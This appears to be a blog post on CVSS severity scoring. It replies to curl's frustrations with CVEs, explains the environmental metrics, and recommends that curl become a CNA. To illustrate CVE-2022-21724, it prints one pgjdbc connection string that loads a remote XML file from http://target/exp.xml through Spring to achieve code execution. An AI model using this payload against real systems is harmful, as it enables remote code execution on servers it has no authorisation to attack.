Intro
This post is inspired by Daniel Stenberg's post on his blog regarding CVEs in curl titled CVE-2020-19909 Is Everything That is Wrong With CVEs but the sentiments expressed in that post are hardly new and or unique to Daniel and the curl project. And before I say anything else I want something to be clear, Daniel has an absolute right to be frustrated and has perfectly valid complaints about the system. That being said, I do think there is a misunderstanding of the system by Daniel and other developers of how CVEs are rated and used by those of us in the security side of the house.
The opinions on the CVE system below are entirely my own and are shaped by a career as a developer, sysadmin, appsec engineer, and now a manager of a security team in a regulated environment. They are also shaped by my experience as a person filing CVEs to other CVE Numbering Authorities (CNAs) as a researcher and as a person who used to run a CNA issuing CVEs from external researchers and internal sources.
The Most Common Misunderstanding - It's too d*** high!
The most common misunderstanding that I see over and over again is the belief that a severity rating is too high because most people won't be in an exploitable deployment or have a particular configuration. After all, how can this be an emergency 9.8 - Critical vulnerability when no one would deploy it that way!
However the CNA most often doesn't have any real data about how software is most commonly deployed and can't make that assessment even if they wanted to. Even when the CNA does have that information (such as when I ran the CNA for Puppet) you can't make the assumption that no one has deployed it in that configuration. That leaves the CNA only one safe option; The CNA must assume the worst case scenario. The severity of the issue must be set as if the consumer/user of the software has deployed the software in the vulnerable and exploitable condition.
How it's supposed to work
Now, this sucks for everyone. The software developers don't want the noise, The CNA usually doesn't want to create waves for no reason, users/consumers of software hate deploying emergency patches etc.
How it's supposed to work is that the consumer/user of a piece of software gets notification of a vulnerability with a base score. The user/consumer should then go and use the worlds least used part of the CVSS v3.1: the Temporal Score Metrics and the Environmental Score Metrics. These scores modify the base score to reflect the severity of the vulnerability to the specific user/consumer and not the worst case scenario.
That being said, I don't know of any org that has the capacity to do this with every single vulnerability. I do however, think that most orgs with a sufficiently sized security team (which certainly isn't all of them) can do it for the 'criticals' that get the headlines and might mean an emergency patch.
An Example
Let's take CVE-2022-21724 which has a base score of 9.8 - Critical from NVD. This vulnerability has the following description on GitHub link:
pgjdbc instantiates plugin instances based on class names provided via
authenticationPluginClassName,sslhostnameverifier,socketFactory,sslfactory,sslpasswordcallbackconnection properties.However, the driver did not verify if the class implements the expected interface before instantiating the class.
Long story short the following connection string could lead to remote code execution if you also had Spring in your project:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
It's reasonable for you to have the initial response "who on this green earth would allow an attacker to control my database connection string! There's no way that's exploitable in a real way!". But I'd ask you to take a second and really think about it... What about your Grafana server connected to your PostgreSQL server? What about your SaaS company that allows someone to bring their own DB? Is it common? Absolutely not, but that's the exact point.
If you ARE one of the people with a vulnerable deployment scenario, even though you're a minority, this most certainly is a 9.8.
If you're not, and you set your environmental score metrics to AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/CR:H/IR:H/AR:H/MAV:L/MAC:H/MPR:H/MUI:N/MS:U/MC:H/MI:H/MA:H your severity drops to 6.4 - Medium. OR, even better, you look at this and say "we're not exploitable due to compensating controls like PR reviews and branch protection rules" and you set this to 'not exploitable' and move on with your life, catching the update when it comes as part of other regular maintenance.
You cherrypicked an example!
Of course I did :) Like I said up front, I think Daniel has a right to be upset. The example I picked was designed to show my point that not all CVE ratings are too high but defined on their worst case scenario. That being said there are definitely CVEs issued that have no exploitable path or deployment. These are quite frankly, silly, and waste everyone's time. NVD specifically needs to do a better job of filtering these issues out and working with developers to remove/retract them or lower their severities.
What about too low...
Vulnerabilities rated too high aren't the whole story. The other side of the coin is that something gets a low severity rating by NVD or another issuing authority and you as the user/consumer have it deployed in such a way that it allows an attacker to steal the keys to your kingdom. This is an equally terribly situation and still requires users and consumers to do their due diligence to reassign a rating for themselves and not just trust NVD.
What should curl do
I think at this point it's clear that the curl project's only way to control the recurring problem and reduce it is to become a CNA. curl becoming its own CNA will allow it to have much tighter control over the issuance of CVEs against the project and be able to self-issue severity ratings which when issued by the CNA are usually just copied over by NVD. I've reached out to Daniel to help them if they decide to go down this route and would love to help.
Final Thoughts
What I think you should take away from this post is:
- CVSS base ratings are based on the worst case scenario which may not be most people's scenarios
- Users and Organizations need to take more responsibility for modifying the base score for themselves and their environments
- NVD needs to be a better partner and work more closely and realistically with developers
- Big projects probably need to accept the overhead of being a CNA or accept that someone else will be their CNA like it or not
Vulnerability severity assessment is hard and inherently grey. Most vulnerabilities aren't log4j or MoveIT, but they also aren't cve-2020-19909. They're somewhere in the middle and security practitioners need to work in that grey space making best assessments and choosing where to spend their time and effort. Until the complexity is reduced in computing systems, the complexity of vulnerability management will remain.
Thank you/Credit
Thanks to karol rosales for the cover photo from unsplash
Top comments (0)